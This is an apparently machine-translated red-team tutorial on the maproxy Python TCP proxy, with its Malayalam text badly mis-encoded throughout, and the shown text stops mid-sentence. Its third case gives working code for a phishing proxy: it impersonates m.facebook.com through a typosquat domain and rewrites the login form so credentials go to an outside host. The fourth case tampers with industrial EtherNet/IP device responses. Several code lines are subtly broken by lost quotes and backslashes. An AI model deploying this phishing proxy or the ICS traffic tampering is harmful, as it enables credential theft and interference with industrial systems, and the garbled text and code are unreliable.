เดเตเดดเตโเดธเต เดคเตเดเดเตเดเตเดจเตเดจเดคเดฟเดจเตเดฑเต เดคเดฒเตเดจเตเดจเต เดคเดฏเตเดฏเดพเดฑเดพเดเตเดเดฟเดฏเดคเดพเดฃเต เดฒเตเดเดจเดคเตเดคเดฟเดจเตเดฑเต เดชเดฐเดฟเดญเดพเดท
เดตเตเดฏเดพเดเตเดฏเดพเดจเด
เดฑเตเดเตเดฒเตผ เดชเตเดจเตเดเตเดฐเตเดทเตป เดเตเดธเตเดฑเตเดฑเดฟเดเดเตเด เดฑเตเดกเต เดเตเด เดชเตเดฐเดตเตผเดคเตเดคเดจเดเตเดเดณเตเด เดฎเตเดคเตฝ IoT/ICS เดเดชเดเดฐเดฃเดเตเดเดณเตเด SCADA เดนเดพเดเตเดเดฟเดเดเต เดตเดฐเตเดฏเตเดณเตเดณ เดตเดฟเดตเดฟเดง เดคเดฐเดคเตเดคเดฟเดฒเตเดณเตเดณ เดธเตเดฐเดเตเดทเดพ เดตเดฟเดฒเดฏเดฟเดฐเตเดคเตเดคเดฒเตเดเดณเดฟเตฝ เดฌเตเดจเดฑเดฟ เดจเตเดฑเตเดฑเตโเดตเตผเดเตเดเต เดชเตเดฐเตเดเตเดเตเดเตเดเตเดณเตเดเดณเตเดฎเดพเดฏเดฟ เดชเตเดฐเดตเตผเดคเตเดคเดฟเดเตเดเตเดจเตเดจเดคเต เดเตพเดชเตเดชเตเดเตเดจเตเดจเต, เด เดคเดพเดฏเดคเต, เดเตเดฒเดฏเตปเตเดฑเดฟเดจเตเด เดเดพเตผเดเตเดฑเตเดฑเดฟเดจเตเดฎเดฟเดเดฏเดฟเดฒเตเดณเตเดณ เดจเตเดฑเตเดฑเตโเดตเตผเดเตเดเต เดกเดพเดฑเตเดฑเดฏเต เดคเดเดธเตเดธเดชเตเดชเตเดเตเดคเตเดคเตเดเดฏเตเด เดชเดฐเดฟเดทเตโเดเตเดเดฐเดฟเดเตเดเตเดเดฏเตเด เดเตเดฏเตเดฏเตเดจเตเดจเต. Wireshark, Tcpdump เด เดฒเตเดฒเตเดเตเดเดฟเตฝ Scapy เดชเตเดฒเตเดณเตเดณ เดเตเดณเตเดเตพ เดเดณเตเดณเดคเดฟเดจเดพเตฝ เดจเตเดฑเตเดฑเตโเดตเตผเดเตเดเต เดเตเดฐเดพเดซเดฟเดเต เดธเตโเดจเดฟเดซเต เดเตเดฏเตเดฏเตเดจเตเดจเดคเต เดฌเตเดฆเตเดงเดฟเดฎเตเดเตเดเตเดณเตเดณ เดเดพเดฐเตเดฏเดฎเดฒเตเดฒ, เดชเดเตเดทเต เดจเตเดฑเตเดฑเตโเดตเตผเดเตเดเต เดกเดพเดฑเตเดฑ เดตเดพเดฏเดฟเดเตเดเดพเดจเตเด เดซเดฟเตฝเดเตเดเตผ เดเตเดฏเตเดฏเดพเดจเตเด เดฎเดพเดฑเตเดฑเดพเดจเตเด เดเดเตเดเตพเดเตเดเต เดเดคเตเดเตเดเดฟเดฒเตเด เดคเดฐเดคเตเดคเดฟเดฒเตเดณเตเดณ เดเตปเตเดฑเตผเดซเตเดธเต เดเดตเดถเตเดฏเดฎเดพเดฏเดคเดฟเดจเดพเตฝ เดชเดฐเดฟเดทเตโเดเตเดเดฐเดฃเด เดเตเดเตเดคเตฝ เด เดงเตเดตเดพเดจเดฎเตเดณเตเดณ เดเตเดฒเดฟเดฏเดพเดฃเตเดจเตเดจเต เดคเตเดจเตเดจเตเดจเตเดจเต. เด เดคเต เดชเดฑเดจเตเดจเตเดฏเดฐเตเดเดฏเตเด เดเดเดฆเตเดถเด เดคเดคเตเดธเดฎเดฏเด เดเดพเตผเดเตเดฑเตเดฑเต เดนเตเดธเตเดฑเตเดฑเดฟเดฒเตเดเตเดเต เดคเดฟเดฐเดฟเดเต เด เดฏเดฏเตเดเตเดเตเดเดฏเตเด เดเตเดฏเตเดฏเตเด. เดเตเดเดพเดคเต, เด เดคเตเดคเดฐเด เดเดฐเต เดเดชเดเดฐเดฃเด เดเดจเตเดจเดฟเดฒเดงเดฟเดเด เดธเดฎเดพเดจเตเดคเดฐ เดเดฃเดเตเดทเดจเตเดเดณเดฟเตฝ เดธเตเดตเดฏเดฎเตเดต เดชเตเดฐเดตเตผเดคเตเดคเดฟเดเตเดเตเดเดฏเตเด เดธเตเดเตเดฐเดฟเดชเตเดฑเตเดฑเตเดเตพ เดเดชเดฏเตเดเดฟเดเตเดเต เดเดทเตเดเดพเดจเตเดธเตเดคเดฎเดพเดเตเดเตเดเดฏเตเด เดเตเดฏเตเดคเดพเตฝ เด เดคเต เด เดจเตเดฏเตเดเตเดฏเดฎเดพเดฃเต.
เดเดฐเต เดฆเดฟเดตเดธเด เดเดพเตป เดเดฐเต เดเดชเดเดฐเดฃเด เดเดฃเตเดเตเดคเตเดคเดฟ
, เดกเตเดเตเดฏเตเดฎเตเตปเตเดฑเตเดทเตป เดชเตเดเตเดเตเดจเตเดจเต เดเดจเดฟเดเตเดเต เด
เดคเต เดตเตเดฏเดเตเดคเดฎเดพเดเตเดเดฟ maproxy
- เดเดจเดฟเดเตเดเต เดตเตเดฃเตเดเดคเต เดฎเดพเดคเตเดฐเด. เดเดคเต เดตเดณเดฐเต เดฒเดณเดฟเดคเดตเตเด เดตเตเดตเดฟเดงเตเดฏเดฎเดพเตผเดจเตเดจเดคเตเด เดเดณเตเดชเตเดชเดคเตเดคเดฟเตฝ เดเตเดฐเดฎเตเดเดฐเดฟเดเตเดเดพเดตเตเดจเตเดจเดคเตเดฎเดพเดฏ TCP เดชเตเดฐเตเดเตเดธเดฟเดฏเดพเดฃเต. เดจเดฟเดฐเดตเดงเดฟ เดธเดฎเดพเดจเตเดคเดฐ เดเดฃเดเตเดทเดจเตเดเตพ เดเตเดเดพเดฐเตเดฏเด เดเตเดฏเตเดฏเดพเตป เดเดดเดฟเดฏเตเดฎเต เดเดจเตเดจเดฑเดฟเดฏเดพเตป ICS เดเดชเดเดฐเดฃเดเตเดเตพ เดเตพเดชเตเดชเตเดเต (เดงเดพเดฐเดพเดณเด เดชเดพเดเตเดเดฑเตเดฑเตเดเตพ เดธเตเดทเตเดเดฟเดเตเดเตเดจเตเดจ) เดธเดพเดฎเดพเดจเตเดฏเด เดธเดเตเดเตเตผเดฃเตเดฃเดฎเดพเดฏ เดจเดฟเดฐเดตเดงเดฟ เดเดชเตเดฒเดฟเดเตเดเตเดทเดจเตเดเดณเดฟเตฝ เดเดพเตป เด เดเตเตพ เดชเดฐเตเดเตเดทเดฟเดเตเดเต, เดเตเตพ เดจเดจเตเดจเดพเดฏเดฟ เดชเตเดฐเดตเตผเดคเตเดคเดฟเดเตเดเตเดจเตเดจเต.
เดซเตเดฒเต เดเดชเดฏเตเดเดฟเดเตเดเต เดจเตเดฑเตเดฑเตโเดตเตผเดเตเดเต เดกเดพเดฑเตเดฑ เดชเตเดฐเตเดธเดธเตเดธเต เดเตเดฏเตเดฏเตเดจเตเดจเดคเดฟเดจเตเดเตเดเตเดฑเดฟเดเตเดเต เด เดฒเตเดเดจเด เดจเดฟเดเตเดเดณเต เดชเดฐเดฟเดเดฏเดชเตเดชเตเดเตเดคเตเดคเตเด maproxy
.
เดชเตเดพเดคเต เด เดตเดฒเตเดพเดเดจเด
เดเดชเดเดฐเดฃเด maproxy
เดชเตเดคเตเดคเดฃเดฟเดฒเต เดเดจเดชเตเดฐเดฟเดฏเดตเตเด เดฎเตเดคเดฟเตผเดจเตเดจเดคเตเดฎเดพเดฏ เด
เดธเดฟเตปเดเตเดฐเดฃเดธเต เดจเตเดฑเตเดฑเตโเดตเตผเดเตเดเดฟเดเดเต เดเดเตเดเดเตเดเตเดเดพเดฏ เดเตเตผเดฃเดพเดกเตเดฏเต เด
เดเดฟเดธเตเดฅเดพเดจเดฎเดพเดเตเดเดฟเดฏเตเดณเตเดณเดคเดพเดฃเต.
เดชเตเดคเตเดตเต, เดเดคเดฟเดจเต เดจเดฟเดฐเดตเดงเดฟ เดฎเตเดกเตเดเดณเดฟเตฝ เดชเตเดฐเดตเตผเดคเตเดคเดฟเดเตเดเดพเตป เดเดดเดฟเดฏเตเด:
TCP:TCP
- เดเตปเดเตเดฐเดฟเดชเตเดฑเตเดฑเต เดเตเดฏเตเดฏเดพเดคเตเดค TCP เดเดฃเดเตเดทเดจเตเดเตพ;TCP:SSL
ะธSSL:TCP
- เดตเตบ-เดตเต เดเตปเดเตเดฐเดฟเดชเตเดทเตป เดเดชเดฏเตเดเดฟเดเตเดเต;SSL:SSL
- เดเต-เดตเต เดเตปเดเตเดฐเดฟเดชเตเดทเตป.
เดเดคเต เดเดฐเต เดฒเตเดฌเตเดฐเดฑเดฟ เดเดฏเดฟเดเตเดเดพเดฃเต เดตเดฐเตเดจเตเดจเดคเต. เดชเตเดเตเดเตเดจเตเดจเตเดณเตเดณ เดคเตเดเดเตเดเดคเตเดคเดฟเดจเดพเดฏเดฟ, เดชเตเดฐเดงเดพเดจเด เดชเตเดฐเดคเดฟเดซเดฒเดฟเดชเตเดชเดฟเดเตเดเตเดจเตเดจ เดเดฆเดพเดนเดฐเดฃ เดซเดฏเดฒเตเดเตพ เดจเดฟเดเตเดเตพเดเตเดเต เดเดชเดฏเตเดเดฟเดเตเดเดพเด
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
เดเตเดธเต 1 - เดฒเดณเดฟเดคเดฎเดพเดฏ เดฆเตเดตเดฟเดฆเดฟเดถ เดชเตเดฐเตเดเตเดธเดฟ
เด
เดเดฟเดธเตเดฅเดพเดจเดชเตเดเตเดคเตเดคเดฟ tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
เดธเตเดฅเดฟเดฐเดฎเดพเดฏเดฟ ProxyServer()
เดฐเดฃเตเดเต เดเตผเดเตเดฏเตเดฎเตเตปเตเดฑเตเดเตพ เดเดเตเดเตเดเตเดจเตเดจเต - เดเดฃเดเตเดทเตป เดฒเตเดเตเดเตเดทเดจเตเด เดเดพเตผเดเตเดฑเตเดฑเต เดชเตเตผเดเตเดเตเด. server.listen()
เดเดฐเต เดตเดพเดฆเด เดเดเตเดเตเดเตเดจเตเดจเต - เดเตปเดเดฎเดฟเดเดเต เดเดฃเดเตเดทเตป เดเตเตพเดเตเดเตเดจเตเดจเดคเดฟเดจเตเดณเตเดณ เดชเตเตผเดเตเดเต.
เดธเตเดเตเดฐเดฟเดชเตเดฑเตเดฑเต เดจเดเดชเตเดชเดฟเดฒเดพเดเตเดเตเดจเตเดจเต:
# python tcp2tcp.py
เดเตเดธเตเดฑเตเดฑเต เดชเตเดฐเดตเตผเดคเตเดคเดฟเดชเตเดชเดฟเดเตเดเตเดจเตเดจเดคเดฟเดจเต, เดเดเตเดเดณเตเดเต เดชเตเดฐเตเดเตเดธเดฟ เดธเตเดเตเดฐเดฟเดชเตเดฑเตเดฑเต เดตเดดเดฟ เดเดเตเดเตพ เดเดฐเต เดชเตเดฐเดพเดฆเตเดถเดฟเด SSH เดธเตเตผเดตเดฑเดฟเดฒเตเดเตเดเต เดเดฃเดเตเดฑเตเดฑเตเดเตเดฏเตเดฏเดพเตป เดชเตเดเตเดจเตเดจเต, เด
เดคเต เดถเตเดฐเดฆเตเดงเดฟเดเตเดเตเดจเตเดจเต 2222/tcp
เดชเตเตผเดเตเดเต เดเดฐเต เดธเดพเดงเดพเดฐเดฃ เดชเตเตผเดเตเดเดฟเดฒเตเดเตเดเต เดฌเดจเตเดงเดฟเดชเตเดชเดฟเดเตเดเตเดจเตเดจเต 22/tcp
SSH เดธเตเตผเดตเดฑเตเดเตพ:
เดเดเตเดเดณเตเดเต เดเดฆเดพเดนเดฐเดฃ เดธเตโเดเตเดฐเดฟเดชเตเดฑเตเดฑเต เดจเตเดฑเตเดฑเตโเดตเตผเดเตเดเต เดเตเดฐเดพเดซเดฟเดเตเดเต เดตเดฟเดเดฏเดเดฐเดฎเดพเดฏเดฟ เดชเตเดฐเตเดเตโเดธเดฟ เดเตเดฏเตโเดคเดคเดพเดฏเดฟ เดธเตเดตเดพเดเดค เดฌเดพเดจเตผ เดจเดฟเดเตเดเดณเต เด
เดฑเดฟเดฏเดฟเดเตเดเตเดจเตเดจเต.
เดเตเดธเต 2 - เดกเดพเดฑเตเดฑ เดชเดฐเดฟเดทเตเดเตเดเดฐเดฃเด
เดฎเดฑเตเดฑเตเดฐเต เดกเตเดฎเต เดธเตเดเตเดฐเดฟเดชเตเดฑเตเดฑเต logging_proxy.py
เดจเตเดฑเตเดฑเตโเดตเตผเดเตเดเต เดกเดพเดฑเตเดฑเดฏเตเดฎเดพเดฏเดฟ เดธเดเดตเดฆเดฟเดเตเดเดพเตป เด
เดจเตเดฏเตเดเตเดฏเด. เดจเดฟเดเตเดเดณเตเดเต เดฒเดเตเดทเตเดฏเด เดจเตเดเตเดจเตเดจเดคเดฟเดจเต เดจเดฟเดเตเดเตพเดเตเดเต เดชเดฐเดฟเดทเตโเดเตเดเดฐเดฟเดเตเดเดพเดตเตเดจเตเดจ เดเตเดฒเดพเดธเต เดฐเตเดคเดฟเดเดณเต เดซเดฏเดฒเดฟเดฒเต เด
เดญเดฟเดชเตเดฐเดพเดฏเดเตเดเตพ เดตเดฟเดตเดฐเดฟเดเตเดเตเดจเตเดจเต:
เดเดฑเตเดฑเดตเตเด เดฐเดธเดเดฐเดฎเดพเดฏ เดเดพเดฐเตเดฏเด เดเดตเดฟเดเตเดฏเตเดฃเตเดเต:
on_c2p_done_read
- เดเตเดฒเดฏเตปเตเดฑเดฟเตฝ เดจเดฟเดจเตเดจเต เดธเตเตผเดตเดฑเดฟเดฒเตเดเตเดเตเดณเตเดณ เดตเดดเดฟเดฏเดฟเตฝ เดกเดพเดฑเตเดฑ เดคเดเดธเตเดธเดชเตเดชเตเดเตเดคเตเดคเตเดจเตเดจเดคเดฟเดจเต;on_p2s_done_read
- เดตเดฟเดชเดฐเตเดคเดฎเดพเดฏเดฟ.
เดธเตเตผเดตเตผ เดเตเดฒเดฏเตปเตเดฑเดฟเดฒเตเดเตเดเต เดฎเดเดเตเดเตเดจเตเดจ SSH เดฌเดพเดจเตผ เดฎเดพเดฑเตเดฑเดพเตป เดถเตเดฐเดฎเดฟเดเตเดเดพเด:
[โฆ]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[โฆ]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[โฆ]
เดธเตเดเตเดฐเดฟเดชเตเดฑเตเดฑเต เดเดเตเดธเดฟเดเตเดฏเตเดเตเดเต เดเตเดฏเตเดฏเตเด:
เดจเดฟเดเตเดเตพเดเตเดเต เดเดพเดฃเดพเดจเดพเดเตเดจเตเดจเดคเตเดชเตเดฒเต, เดเตเดฒเดฏเตปเตเดฑเดฟเตปเตเดฑเต SSH เดธเตเตผเดตเตผ เดจเดพเดฎเด เดฎเดพเดฑเตเดฑเดฟเดฏเดคเดฟเดจเดพเตฝ เดเตเดฒเดฏเตปเตเดฑเต เดคเตเดฑเตเดฑเดฟเดฆเตเดงเดฐเดฟเดเตเดเดชเตเดชเตเดเตเดเต ยซDumnySSHยป
.
เดเตเดธเต 3 - เดฒเดณเดฟเดคเดฎเดพเดฏ เดซเดฟเดทเดฟเดเดเต เดตเตเดฌเต เดชเตเดเต
เด เดเดชเดเดฐเดฃเด เดเดชเดฏเตเดเดฟเดเตเดเตเดจเตเดจเดคเดฟเดจเต เด
เดจเดจเตเดคเดฎเดพเดฏ เดตเดดเดฟเดเดณเตเดฃเตเดเต. เดเดคเตเดคเดตเดฃ เดฑเตเดกเต เดเตเด เดชเตเดฐเดตเตผเดคเตเดคเดจเดเตเดเดณเตเดเต เดญเดพเดเดคเตเดคเต เดจเดฟเดจเตเดจเต เดเตเดเตเดคเตฝ เดชเตเดฐเดพเดฏเตเดเดฟเดเดฎเดพเดฏ เดเดจเตเดจเดฟเดฒเตเดเตเดเต เดถเตเดฐเดฆเตเดง เดเตเดจเตเดฆเตเดฐเตเดเดฐเดฟเดเตเดเดพเด. เดจเดฎเตเดเตเดเต เดฒเดพเตปเดกเดฟเดเดเต เดชเตเดเต เด
เดจเตเดเดฐเดฟเดเตเดเดพเด m.facebook.com
เดเตเดเดพเดคเต เดฎเดจเดเดชเตเตผเดตเดฎเดพเดฏ เด
เดเตเดทเดฐเดคเตเดคเตเดฑเตเดฑเตเดณเตเดณ เดเดฐเต เดเดทเตโเดเดพเดจเตเดธเตเดค เดกเตเดฎเตเดฏเตเตป เดเดชเดฏเตเดเดฟเดเตเดเตเด, เดเดฆเดพเดนเดฐเดฃเดคเตเดคเดฟเดจเต, m.facebok.com
. เดกเตเดฎเตเตบเดธเตโเดเตเดฐเตเดทเตป เดเดตเดถเตเดฏเดเตเดเตพเดเตเดเดพเดฏเดฟ, เดกเตเดฎเตเดฏเตเตป เดเดเตเดเตพ เดฐเดเดฟเดธเตเดฑเตเดฑเตผ เดเตเดฏเตเดคเดคเดพเดฃเตเดจเตเดจเต เดเดฐเตเดคเตเด.
เดเดเตเดเดณเตเดเต เดเดฐเดเดณเตเดเต เดชเตเดฐเตเดเตเดธเดฟ, เดเดธเตเดเดธเตเดเตฝ เดธเตเดเตเดฐเตเด เดเดจเตเดจเดฟเดตเดฏเตเดฎเดพเดฏเดฟ เดซเตเดธเตเดฌเตเดเตเดเต เดธเตเตผเดตเดฑเดฟเดฒเตเดเตเดเต เดเตปเดเตเดฐเดฟเดชเตเดฑเตเดฑเต เดเตเดฏเตเดฏเดพเดคเตเดค เดจเตเดฑเตเดฑเตโเดตเตผเดเตเดเต เดเดฃเดเตเดทเตป เดเดเตเดเตพ เดธเตเดฅเดพเดชเดฟเดเตเดเดพเตป เดชเตเดเตเดจเตเดจเต (31.13.81.36
). เด เดเดฆเดพเดนเดฐเดฃเด เดชเตเดฐเดตเตผเดคเตเดคเดจเดเตเดทเดฎเดฎเดพเดเตเดเตเดจเตเดจเดคเดฟเดจเต, เดเดเตเดเตพเดเตเดเต HTTP เดนเตเดธเตเดฑเตเดฑเต เดนเตเดกเตผ เดฎเดพเดฑเตเดฑเดฟ เดถเดฐเดฟเดฏเดพเดฏ เดนเตเดธเตเดฑเตเดฑเตเดจเดพเดฎเด เดจเตฝเดเตเดฃเตเดเดคเตเดฃเตเดเต, เดเตเดเดพเดคเต เดชเตเดฐเดคเดฟเดเดฐเดฃ เดเดเดชเตเดฐเดทเตป เดเดเตเดเตพ เดชเตเดฐเดตเตผเดคเตเดคเดจเดฐเดนเดฟเดคเดฎเดพเดเตเดเตเดเดฏเตเด เดเตเดฏเตเดฏเตเด, เด
เดคเดฟเดจเดพเตฝ เดเดเตเดเตพเดเตเดเต เดเดณเตเดณเดเดเตเดเดเตเดเตพ เดเดณเตเดชเตเดชเดคเตเดคเดฟเตฝ เดเดเตเดธเดธเต เดเตเดฏเตเดฏเดพเตป เดเดดเดฟเดฏเตเด. เดเดคเตเดฏเดจเตเดคเดฟเดเดฎเดพเดฏเดฟ เดเดเตเดเตพ HTML เดซเตเด เดฎเดพเดฑเตเดฑเดฟเดธเตเดฅเดพเดชเดฟเดเตเดเตเด, เด
เดคเตเดตเดดเดฟ Facebook-เตปเตเดฑเต เดธเตเตผเดตเดฑเตเดเตพเดเตเดเต เดชเดเดฐเด เดฒเตเดเดฟเตป เดเตเดฐเตเดกเตปเดทเตเดฏเดฒเตเดเตพ เดเดเตเดเตพเดเตเดเต เด
เดฏเดฏเตโเดเตเดเตเด:
[โฆ]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[โฆ]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/ml/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[โฆ]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[โฆ]
เดเตเดฐเตเดเตเดเดคเตเดคเดฟเตฝ:
เดจเดฟเดเตเดเตพเดเตเดเต เดเดพเดฃเดพเดจเดพเดเตเดจเตเดจเดคเตเดชเตเดฒเต, เดฏเดฅเดพเตผเดคเตเดฅ เดธเตเดฑเตเดฑเต เดฎเดพเดฑเตเดฑเดฟเดธเตเดฅเดพเดชเดฟเดเตเดเดพเตป เดเดเตเดเตพเดเตเดเต เดเดดเดฟเดเตเดเต.
เดเตเดธเต 4 - เดชเตเตผเดเตเดเดฟเดเดเต เดเดฅเตผเดจเตเดฑเตเดฑเต/IP
เดชเตเดฐเตเดเตเดฐเดพเดฎเดฌเดฟเตพ เดเตบเดเตเดฐเตเดณเดฑเตเดเตพ (PLC), I/O เดฎเตเดกเตเดฏเตเดณเตเดเตพ, เดกเตเดฐเตเดตเตเดเตพ, เดฑเดฟเดฒเตเดเตพ, เดฒเดพเดกเตผ เดชเตเดฐเตเดเตเดฐเดพเดฎเดฟเดเดเต เดชเดฐเดฟเดคเดธเตเดฅเดฟเดคเดฟเดเตพ เดคเตเดเดเตเดเดฟ เดจเดฟเดฐเดตเดงเดฟ เดตเตเดฏเดพเดตเดธเดพเดฏเดฟเด เดเดชเดเดฐเดฃเดเตเดเดณเตเด เดธเตเดซเตเดฑเตเดฑเตโเดตเตเดฏเดฑเตเดเดณเตเด (ICS/SCADA) เดเดพเตป เดเตเดฑเดเตเดเต เดเดพเดฒเดฎเดพเดฏเดฟ เดเตเดเดพเดฐเตเดฏเด เดเตเดฏเตเดฏเตเดจเตเดจเต. เดตเตเดฏเดพเดตเดธเดพเดฏเดฟเด เดเดพเดฐเตเดฏเดเตเดเตพ เดเดทเตเดเดชเตเดชเตเดเตเดจเตเดจเดตเตผเดเตเดเตเดณเตเดณเดคเดพเดฃเต เด เดเตเดธเต. เด เดคเตเดคเดฐเด เดชเดฐเดฟเดนเดพเดฐเดเตเดเตพ เดนเดพเดเตเดเต เดเตเดฏเตเดฏเตเดจเตเดจเดคเต เดจเตเดฑเตเดฑเตโเดตเตผเดเตเดเต เดชเตเดฐเตเดเตเดเตเดเตเดเตเดณเตเดเตพ เดเดชเดฏเตเดเดฟเดเตเดเต เดธเดเตเดตเดฎเดพเดฏเดฟ เดเดณเดฟเดเตเดเตเดจเตเดจเดคเต เดเตพเดชเตเดชเตเดเตเดจเตเดจเต. เดเดจเดฟเดชเตเดชเดฑเดฏเตเดจเตเดจ เดเดฆเดพเดนเดฐเดฃเดคเตเดคเดฟเตฝ, เดจเดฟเดเตเดเตพเดเตเดเต ICS/SCADA เดจเตเดฑเตเดฑเตโเดตเตผเดเตเดเต เดเตเดฐเดพเดซเดฟเดเตเดเต เดเดเตเดเดจเต เดชเดฐเดฟเดทเตโเดเตเดเดฐเดฟเดเตเดเดพเดฎเตเดจเตเดจเต เดเดพเดฃเดฟเดเตเดเดพเตป เดเดพเตป เดเดเตเดฐเดนเดฟเดเตเดเตเดจเตเดจเต.
เดเดคเดฟเดจเดพเดฏเดฟ เดจเดฟเดเตเดเตพเดเตเดเต เดเดจเดฟเดชเตเดชเดฑเดฏเตเดจเตเดจเดต เดเดตเดถเตเดฏเดฎเดพเดฃเต:
- เดจเตเดฑเตเดฑเตโเดตเตผเดเตเดเต เดธเตเดจเดฟเดซเตผ, เดเดฆเดพเดนเดฐเดฃเดคเตเดคเดฟเดจเต, เดตเดฏเตผเดทเดพเตผเดเตเดเต;
- เดเดฅเตผเดจเตเดฑเตเดฑเต/IP เด เดฒเตเดฒเตเดเตเดเดฟเตฝ เดเดฐเต SIP เดเดชเดเดฐเดฃเด, เดจเดฟเดเตเดเตพเดเตเดเต เดทเตเดกเดพเตป เดธเตเดตเดจเด เดเดชเดฏเตเดเดฟเดเตเดเต เด เดคเต เดเดฃเตเดเตเดคเตเดคเดพเดจเดพเดเตเด;
- เดเดเตเดเดณเตเดเต เดธเตเดเตเดฐเดฟเดชเตเดฑเตเดฑเต เด
เดเดฟเดธเตเดฅเดพเดจเดฎเดพเดเตเดเดฟเดฏเตเดณเตเดณเดคเดพเดฃเต
maproxy
.
เดเดฆเตเดฏเด, CIP (เดเตเดฎเตบ เดเตปเดกเดธเตเดเตเดฐเดฟเดฏเตฝ เดชเตเดฐเตเดเตเดเตเดเตเดเตเตพ) เตฝ เดจเดฟเดจเตเดจเตเดณเตเดณ เดเดฐเต เดธเดพเดงเดพเดฐเดฃ เดคเดฟเดฐเดฟเดเตเดเดฑเดฟเดฏเตฝ เดชเตเดฐเดคเดฟเดเดฐเดฃเด เดเดเตเดเดจเตเดฏเตเดฃเตเดเตเดจเตเดจเต เดจเตเดเตเดเดพเด:
เดเดฅเตผเดจเตเดฑเตเดฑเต/เดเดชเดฟ เดชเตเดฐเตเดเตเดเตเดเตเดเตเตพ เดเดชเดฏเตเดเดฟเดเตเดเดพเดฃเต เดกเดฟเดตเตเดธเต เดเดกเตปเตเดฑเดฟเดซเดฟเดเตเดเตเดทเตป เดจเดเดคเตเดคเตเดจเตเดจเดคเต, เดธเดฟเดเดชเดฟ เดชเตเดฒเตเดณเตเดณ เดเตบเดเตเดฐเตเตพ เดชเตเดฐเตเดเตเดเตเดเตเดเตเดณเตเดเตพ เดชเตเดคเดฟเดฏเตเดจเตเดจ เดตเตเดฏเดพเดตเดธเดพเดฏเดฟเด เดเดฅเตผเดจเตเดฑเตเดฑเต เดชเตเดฐเตเดเตเดเตเดเตเดเตเดณเดฟเตปเตเดฑเต เดฎเตเดเตเดเดชเตเดชเตเดเตเดคเตเดคเดฟเดฏ เดชเดคเดฟเดชเตเดชเดพเดฃเต เดเดคเต. เดธเตโเดเตเดฐเตเตปเดทเตเดเตเดเดฟเตฝ เดฆเตเดถเตเดฏเดฎเดพเดเตเดจเตเดจ เดนเตเดฒเตเดฑเตเดฑเต เดเตเดฏเตโเดค เดเดกเดฟ เดจเดพเดฎเด เดเดเตเดเตพ เดฎเดพเดฑเตเดฑเดพเตป เดชเตเดเตเดจเตเดจเต "เดเดฅเตผเดจเตเดฑเตเดฑเดฟเดจเดพเดฏเตเดณเตเดณ NI-IndComm" เดเดเตเดเดณเตเดเต เดชเตเดฐเตเดเตเดธเดฟ เดธเตเดเตเดฐเดฟเดชเตเดฑเตเดฑเต เดเดชเดฏเตเดเดฟเดเตเดเต. เดจเดฎเตเดเตเดเต เดธเตเดเตเดฐเดฟเดชเตเดฑเตเดฑเต เดตเตเดฃเตเดเตเด เดเดชเดฏเตเดเดฟเดเตเดเดพเด logging_proxy.py
เดเตเดเดพเดคเต เดเตเดฒเดพเดธเต เดฐเตเดคเดฟเดฏเตเด เดธเดฎเดพเดจเดฎเดพเดฏเดฟ เดชเดฐเดฟเดทเตเดเดฐเดฟเดเตเดเตเด on_p2s_done_read
, เดเดพเดฐเดฃเด เดเตเดฒเดฏเตปเตเดฑเดฟเตฝ เดฎเดฑเตเดฑเตเดฐเต เดเดกเตปเตเดฑเดฟเดฑเตเดฑเดฟ เดจเดพเดฎเด เดฆเตเดถเตเดฏเดฎเดพเดเดพเตป เดเดเตเดเตพ เดเดเตเดฐเดนเดฟเดเตเดเตเดจเตเดจเต.
เดเตเดกเต:
[โฆ]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[โฆ]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[โฆ]
เด เดเดฟเดธเตเดฅเดพเดจเดชเดฐเดฎเดพเดฏเดฟ, เดเดเตเดเตพ เดฐเดฃเตเดเต เดคเดตเดฃ เดเดชเดเดฐเดฃ เดเดกเตปเตเดฑเดฟเดซเดฟเดเตเดเตเดทเตป เดเดตเดถเตเดฏเดชเตเดชเตเดเตเดเต, เดฐเดฃเตเดเดพเดฎเดคเตเดคเต เดชเตเดฐเดคเดฟเดเดฐเดฃเด เดเดฑเดฟเดเดฟเดจเตฝ เดเดฏเดฟเดฐเตเดจเตเดจเต, เดเดฆเตเดฏเดคเตเดคเตเดคเต เดเดเตเดเดฏเดฟเตฝ เดชเดฐเดฟเดทเตเดเตเดเดฐเดฟเดเตเดเต.
เด เดตเดธเดพเดจเดคเตเดคเตเดคเตเด
เดเดจเตเดฑเต เด
เดญเดฟเดชเตเดฐเดพเดฏเดคเตเดคเดฟเตฝ maproxy
เดธเตเดเดฐเตเดฏเดชเตเดฐเดฆเดตเตเด เดฒเดณเดฟเดคเดตเตเดฎเดพเดฏ เดเดฐเต เดเดชเดเดฐเดฃเด, เด
เดคเต เดชเตเดคเตเดคเดฃเดฟเดฒเตเด เดเดดเตเดคเดฟเดฏเดฟเดฐเดฟเดเตเดเตเดจเตเดจเต, เด
